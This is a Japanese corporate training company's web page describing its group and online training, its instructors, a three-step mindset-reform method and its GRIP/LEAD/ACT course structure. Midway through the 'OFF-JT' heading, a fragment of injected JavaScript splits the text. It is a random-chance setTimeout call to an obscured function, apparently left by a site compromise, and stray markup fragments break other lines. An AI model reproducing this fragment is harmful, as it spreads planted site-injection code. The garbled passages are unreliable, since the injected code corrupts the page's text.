集合研修・オンライン研修事業

研修コンセプト

イズムエデュメントは”OJTの機能化”と

”経営変革に直結する楽しい研修”を軸として

貴社の「ヒトの行動変容・組織の変革の実現」を支援します！

楽しい教育の特徴

【OFF-JT】

Educate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and entertainment

“楽しい研修”が、意識を変える！

高い研修運営スキルを有する『比類なき講師陣』

「研修の善し悪しは、講師で決まる！」

講師の力量によって、研修運営（品質）に大きな違いが出るものです。
イズムエデュメントには、元役者・芸人・ミュージシャン・ナレーターをはじめ、各業界で成果を上げてきたエンターテイメント性ある講師（タレント）が多数所属しております。親身で熱意ある講師自身が体現者となり、身近な現場事例の活用、双方向型レクチャー、ワークに対する鋭いコメント、独自のロープレ運営等で、ご受講者を巻き込み、集中させ、主体性を引き出す研修運営は必見です。さらにインプロ・体感ワーク等の最新の運営手法や脳科学に基づくリフレクション・ティーチ＆ラ―ン等の学習法を取り入れ、ご受講者が気づきや自己認知・価値観改革をする楽しさを促進します。

知識・スキル活用のベース『自己認知』『価値観改革』

「意識が変われば、行動が変わる！」
「やり方」（知識やスキル）を学ぶ研修は多く存在しますが、そのやり方を選ばせる「考え方（自己認知・価値観）」へと切り替えなければ、行動変容へは繋がりません。しかしながら、長年培ってきた「考え方」を切り替えることは容易ではありません。
イズムエデュメントでは、独自の体感型アプローチ（意識改革の３ステップ）を用い、「自己認知」や「価値観の切り替え」を丁寧に行うことで、さらなる知的好奇心やより深い気づきから来る楽しさを醸成すると共に現場実践につなげます。

【意識（価値観）改革の３ステップ】
Step１：普段は認識していない現在の価値観に気づく
Step２：正しい価値観を刷り込む（腹落ちさせる）
Step３：正しい行動による成功体験から、正しい価値観を定着させる

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https://www.youtube.com/watch?v=jCz4B7DyBN0

現場で即使いたくなる『現場ナイズ・コンテンツ』

「コンテンツの善し悪しが、現場実践度を決める！」
対モノに「万有引力」という法則があるように、対ヒト・組織にも、普遍の原理原則（心理学や組織論などの理論）が存在します。しかしながら原理原則は、現場と乖離していることが多いものです。
イズムエデュメントでは、原理原則と一般的な現場事例を融合した「基本の型」に、貴社の現場事情を加え、現場で即実践したくなる「現場ナイズコンテンツ」へ昇華させ、独自の展開で研修を運営します。また、学習意欲を高めるコンテンツや行動宣言などを盛り込むことで、現場実践に直結しやすくなり、実践を通じて自分流（らしさ）を見出していく楽しさを感じることができます。

【独自の研修展開】
GRIP：「掴み」　学習意欲や主体性を高め、学習効果を高める
LEAD：「導き」　気づきと刷り込みを繰り返し、自ら学ぶよう導く
ACT ：「行動化」　自己課題を明確にし、行動宣言を通じ、現場実践へ直結させる

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OJT機能化への施策例

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教育研修（集合研修・オンライン研修）

【ＯＳ研修】と【ソフト研修】の関係性

OS研修：基礎意識醸成・改革

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tom”>ソフト研修：顧客接点グリップ強化

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tom”>オーダーメイド研修